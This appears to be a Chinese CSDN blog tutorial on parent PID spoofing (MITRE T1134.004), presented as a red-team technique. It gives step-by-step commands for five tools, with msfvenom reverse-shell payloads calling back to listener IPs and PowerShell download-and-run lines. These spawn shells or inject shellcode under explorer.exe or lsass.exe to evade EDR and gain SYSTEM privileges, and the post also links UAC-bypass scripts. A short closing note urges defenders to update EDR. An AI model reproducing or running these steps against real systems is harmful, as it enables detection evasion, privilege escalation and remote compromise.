红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）

已于 2024-01-16 19:23:07 修改
阅读量137 收藏
点赞数
文章标签： wireshark
于 2023-08-13 11:00:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/A_991128a/article/details/132234854
版权
概述

父进程欺骗是一种访问令牌操作技术，通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID，可帮助攻击者规避启发式检测等防御技术。

该欺骗可通过使用本地API调用来执行，该调用可帮助攻击者显式指定PID，如C++中的CreateProcess调用。正如我们将在本文中看到的那样，这种显式分配也可能具有某些附带好处。

MITRE 战术：权限提升（TA0004）和 防御规避（TA0005）

MITRE ATT&CK技术：T1134 ：Windows访问令牌模拟窃取以及利用

子技术：T1134.004 ：访问令牌操作： 父 PID 欺骗

背景：

子进程监控是威胁狩猎中最常见的指标之一。应急响应人员可能会分析如果 conhost.exe或 cmd.exe进程是从 Adobe Reader或
MS Excel等零相关的应用生成的，则表明可能存在潜在威胁。安全防护软件会在启发式检测下监控此行为，并向管理员发出警报。

父PID(PPID)欺骗方法可以绕过 AV/EDR检测，使其认为是 lsass.exe这样的合法进程在进行活动。它通过欺骗进程的
PID以匹配其父进程的 PID来做到这一点。这种方法可能带来的另一个好处是，如果父进程以
SYSTEM权限运行，则可以凭借访问令牌的继承，使其子进程也具有相同的 SYSTEM权限。

进程、PID和PPID

进程： 在
Windows中，应用程序由一个或多个进程组成。简单来说，当前正在运行的程序的一部分称为进程。不同的应用程序可能会使用相同的进程(如cmd.exe)，并且为避免歧义，会分配一个整数来区分一个进程和另一个进程。该整数称为PID。

PID： 代表进程标识符 (PID)，它是正在运行的进程的数字表示。 Windows中通过
GetCurrentProcessID()函数返回指定进程的 PID。

父进程： 父进程是可以派生多个子进程的进程。例如，命令explorer.exe /e,/root,"C：\WINDOWS\System32\cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。在代码中，父进程可以使用fork()系统调用来派生子进程。

PPID： 代表父进程标识符(PPID)，它是提供给父进程的数字表示形式。任何包含子进程的进程都存在父子关系。

方法一（使用C++程序进行PID欺骗）

Didier Stevens最初在这里的帖子中谈到了Windows API——"CreateProcess"这种方法。还发布了一个用C++编写的利用程序(SelectMyParent）。代码可以在这里下载：https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip

请注意，如果您使用的是更高版本的Visual Studio，可能需要重新生成此EXE。在Visual Studio2022中，我删除了Debug and
Release文件夹中的SelectMyParent.pdb文件，并重新生成了项目以使其运行。

在进程管理器中，你会看到 explorer.exe在 PID 1624上运行

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）1563.png

因此，要在这个父 explorer.exe进程下运行我们自己的二进制文件，可以像这样使用 SelectMyParent.exe，你会看到在 PID 1624下创建了一个新进程。

E:\>SelectMyParent.exe notepad 1624

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）1691.png

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）1694.png

可以看到在PID 2836启动了notepad.exe

同样，我们也可以运行自己的EXE。让我们先用msfvenom创建一个可以反弹shell的exe

# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe

在受感染端，使用tasklist /v查看进程运行详情。

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）1893.png

在列表中，可以看到explorer.exe进程以test身份在进程ID 1624上运行。

然后运行生成的shell.exe，并附属在explorer.exe的PID下

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）1980.png

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）1983.png

监听端收到的shell便是explorer.exe进程用户的权限

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）2051.png

如果利用具有system权限的进程，即可进行提权。

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）2048.png

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）2051.png

方法二（使用Powershell DLL注入进行PID欺骗）

F-Secure实验室利用
powershell创建了替代上述Didier二进制文件的方案。它也可以用于父进程欺骗，与上述方法不同之处在于，可以将带有注入的DLL的子进程派生为子进程，功能更强大。代码可以在这里下载<https://github.com/countercept/ppid-
spoofing>，首先在受害者机器上查看进程ID，这里我们选择 Powershell的 PID 24092作为父进程ID。

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）2359.png

利用msfvenmon生成要注入的DLL

msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
No encoder specified, outputting RAW payload  
Payload size: 460 bytes  
Final size of dll file: 8704 bytes

然后进行注入：

Import-Module .\PPID-Spoof.ps1  
PPID-Spoof -ppid 24092 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）2869.png

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）2872.png

可以看到注入的DLL在Notepad.exe中加载执行了。

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）2905.png

通过这种方式，PPID 24092上的powershell.exe进程派生了一个带有插入代码(由DLL提供)的notepad.exe。

方法三（使用Powershell 脚本入进行PID欺骗）

Decoder-it根据 Didier Stevens提供的指南开发了一个 powershell脚本，使用了
CreateProcessFromParent()方法，可以在此处找到的psgetsystem脚本:<https://github.com/decoder-
it/psgetsystem.git>，可用于通过PID欺骗派生子进程。首先我们查看所需进程的 PID。这里以lsass.exe为例

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）3271.png

然后执行如下命令：

powershell -ep bypass  
Import-Module .\psgetsys.ps1  
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）3395.png

如果报错，可能是UAC的问题，需要先绕过UAC，或者是权限过低，需要提权。

绕过UAC脚本可以在这里找到：https://github.com/samratashok/nishang/tree/master/Escalation

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）3594.png

然后下载所需的文件，然后执行命令

$client=new-object System.Net.WebClient   
$client.DownloadFile("http://<url>/psgetsys.ps1",".\psgetsys.ps1")  
$client.DownloadFile("http://<url>/shell.exe",".\shell.exe")  
Import-Module .\psgetsys.ps1  
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）3871.png

可以看到在lsass.exe下成功创建了子进程，因为lsass.exe是system权限，所以反弹shell也获取到了system权限。

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）3943.png

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）3946.png

方法四（使用C#程序进行PID欺骗）

py7hagoras开发了GetSystem项目，是上述技术的C#实现，可以在这里找到：https://github.com/py7hagoras/GetSystem.git

在目标机上下载GetSystem.exe，然后执行GetSystem.exe 自定义程序 -O 目标进程名

GetSystem.exe shell.exe -O lsass

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）4206.png

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）4209.png

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）4212.png

注意：这里可能也需要绕过UAC或者提权，不然执行不成功。

方法五（通过PID欺骗注入Shellcode）

Chirag Savla使用 C#开发了一个名为“ProcessInjection”的出色工具，它可以执行许多功能，包括通过
PID欺骗进行的进程注入。通过提供有效的 PID，该工具会尝试使用 CreateProcess等原生 API调用来欺骗
PID，然后将代码注入其中。该工具支持 hex、C和 base64格式的shellcode，也可以选择 DLL
注入。工具在这里下载：https://github.com/3xpl01tc0d3r/ProcessInjection

首先，使用msfvenom创建一个shellcode代码

msfvenom -p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248 LPORT=7777 -f hex > /hex.txt

然后在目标机中下载

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）4729.png

使用ProcessInjection.exe进行注入

ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1

参数说明：

/ppath：目标 EXE 的进程路径（需要注入进程的路径）

/path：shellcode文件路径

/parentproc：父进程名称，目标EXE应在此进程下生成

/f：shellcode文件类型

/t：注入技术

支持的五种注入方式：

1) Vanilla Process Injection  
> 2) DLL Injection  
> 3) Process Hollowing  
> 4) APC Queue  
> 5) Dynamic Invoke - Vanilla Process Injection

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）5118.png

我们可以看到calc.exe在explorer.exe下，而shellcode则在calc.exe中执行。

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）5175.png

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）5178.png

也可以进行DLL注入

ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"shell.dll" /parentproc:explorer /t:2

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）5295.png

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）5298.png

红队技术-父进程欺骗（ MITRE ATT&CK框架：T1134）5301.png

其他工具

https://github.com/Mr-Un1k0d3r/RemoteProcessInjection

https://github.com/xpn/getsystem-offline

https://github.com/hlldz/APC-PPID

https://github.com/ewilded/PPID_spoof

https://github.com/christophetd/spoofing-office-macro（VBA实现）

在Metasploit中Meterpreter
可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。

总结

攻击者广泛使用该技术进行检测规避，并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案，可以使用此技术轻松规避检测。通过本文，告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。

github.com/christophetd/spoofing-office-macro>（VBA实现）

在Metasploit中Meterpreter
可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。

总结

攻击者广泛使用该技术进行检测规避，并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案，可以使用此技术轻松规避检测。通过本文，告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。

网络安全工程师(白帽子)企业级学习路线

第一阶段：安全基础（入门）

img

第二阶段：Web渗透（初级网安工程师）

img

第三阶段：进阶部分（中级网络安全工程师）

img

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

学习资源分享

教IT的小王A
关注
ATT&CK的理解与应用场景
weixin_44983560的博客
04-18 263
本文将详细介绍ATT&CK的概念，包括：ATT&CK核心组件和矩阵介绍；介绍ATT&CK的应用场景，包括：情报分析、威胁检测、模拟攻击和安全评估。
蓝队----att&ck&IDS&蜜罐&威胁情报
qi_SJQ_的博客
02-27 1042
hw中各种规则都能在各种hw资料里看到，不再熬yu 蓝队涉及到的技术涉及到应急、溯源、反制、情报、写报告、了解设备等综合性知识。 1.att&ck了解： 外国文档：https://attack.mitre.org/ 视频科普：https://www.zhihu.com/zvideo/1305977738013540352 2.蜜罐技术: 免费蜜罐 HFish：https://hfish.io/ github地址：https://github.com/hacklcx/HFish 部署、使用见官方文.
Go4aRun:GO中的Shellcode运行程序，其中包含shellcode加密，远程进程注入，阻止dll和欺骗性的父进程
03-20
Go4aRun 用法： 在hideit.go和Go4it.go中更改用于加密的所需密码 在Go4it.go中更改行为选项 更改块dll行为：通过nonms和onlystore变量在“不允许非MS”和“仅存储”之间 更改parentName变量以更改欺骗的父级 更改programPath变量以更改由父级启动的进程，shellcode将注入该进程 更改creationFlags以更改programPath变量的启动行为 通过注释/取消注释部分CreateRemoteThread或QueueUserAPC选择一个过程注入方法 运行hideit（构建或运行）并选择原始shellcode文件 该脚本应将加密的shellcode保存在pkg / shelly中的shelly.go文件中（如果未手动移动到pkg / shelly中） 编译Go4it.go（例如：GOOS = windows GOARCH
父进程欺骗
yellow的博客
01-30 1224
如何实现父进程欺骗以及对应的检测方法。
vbs 获取当前运行脚本的父路径_检测父PID欺骗?
weixin_39553458的博客
11-19 330
用来检测异常活动的最有用的技术之一是对父子进程关系的分析，然而，技术更高明更强大的攻击者可以使用父PID(PPID)欺骗来绕过此操作，从而允许从任意父进程执行恶意进程。尽管这项技术本身并不新鲜，虽然Cobalt Strike和DidierStevens 对其进行了详细介绍，但在检测此类攻击方面进行的专门研究却很少。在本文中，我们将探讨该技术的工作原理以及防御者如何利用Windows事件跟...
windows父进程欺骗
Timmbe的博客
12-06 458
windows父进程欺骗 测试代码
MITRE ATT&CK 设计与理念
11-24
"MITRE ATT&CK 设计与理念" MITRE ATT&CK 是一个知识库，旨在描述网络入侵者的行为，并提供攻防两方的通用分类体系。...同时，MITRE ATT&CK 也可以作为新技术领域及平台的ATT&CK类知识库创建指南。
MITRE ATT&CK实践入门1
08-04
MITRE ATT&CK框架是网络安全领域的一个重要工具，它通过系统地描述和分类网络攻击者的行为和技术，帮助安全团队理解和应对各种威胁。本文将围绕四个关键应用场景——网络威胁情报、检测与分析、对手模拟与红队以及...
MITRE ATT&CK框架入门指南
"这篇文档是关于MITRE组织的ATT&CK框架入门指南，旨在帮助初学者理解并开始使用ATT&CK框架。文档包含了威胁情报、检测与分析、对手模拟及红队评估等内容，并介绍了ATT&CK框架的背景和MITRE组织的信息。作者团队包括...
红队技术-父进程欺骗（T1134）
YJ_12340的博客
10-20 1272
攻击者广泛使用该技术进行检测规避，并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案，可以使用此技术轻松规避检测。通过本文，告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。
Windows 父进程欺骗技术
linlin003的专栏
09-29 1881
Windows 父进程欺骗技术,其实就是创建一个进程，指定其他进程为这个新创建进程的父进程。 通过CreateProcessA进行欺骗 对父进程进行欺骗有许多方法，本文中着重介绍通过调用CreateProcessA函数进行实现，该方法最简单也最常用。 CreateProcessA函数允许用户创建新进程，默认情况下，会通过其继承的父进程完成创建。该函数有一个名为“lpStartupInfo”的参数，该参数允许使用者自定义要使用的父进程。该功能最初用于Windows Vista中设置UAC。 lpStar
伪造父进程的另一种方式
Sven的忘却日记
10-31 1761
创建任意进程，父进程为explorer.exe #include "stdafx.h" #include <windows.h> #include <shlwapi.h> #include <shlobj.h> #pragma comment(lib, "shlwapi.lib") // use the shell view for the desktop...
进程命令行参数欺骗
最新发布
蛇矛实验室
04-24 658
一些事件记录工具会监视目标进程的创建从而记录进程创建后的一些信息，可以在创建进程的时候使用假的命令行参数进行欺骗，从而误导这些分析工具，还存在一些进程管理工具，比如 Process Hacker 会通过目标进程的 PEB 中获取进程命令行参数信息，它会根据命令行参数的长度读取命令行参数信息，只需要修改命令行参数的长度进而欺骗这些进程管理工具。在进行进程命令行参数欺骗时，注意用于欺骗的命令行参数长度(在创建挂起的进程时传递的参数)要大于真实的命令行参数长度(在运行时修改的命令行参数)。
病毒伪装成explorer.exe进程
Code_Ninja
11-27 3496
---------------------------------------------------------       小路原创           ------------------------------------------------昨天晚上为了做计算机安全与保密课的实验，我把电脑的杀毒软件都关闭了之后安装运行了几个软件，结果几天早上一开机发现电脑桌面和下面的状态栏都没有了，怎
workermanDay01 安装、Worker类
坚持硬核
09-09 301
workerman 开源异步PHP socket 即时通讯框架 0x00 Workman安装 安装 libevent（php<7） 或者 Event 扩展(php >=7) step1 不论php版本，都要安装 libevent 库： yum install libevent-devel -y step2 安装 Event扩展 pecl.php.net wget https://pecl.php.net/get/event-2.4.3.tgz 解压： tar xf event-
ATT&CK框架入门总结
明光札记
03-17 4222
ATT&CK框架入门简介
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值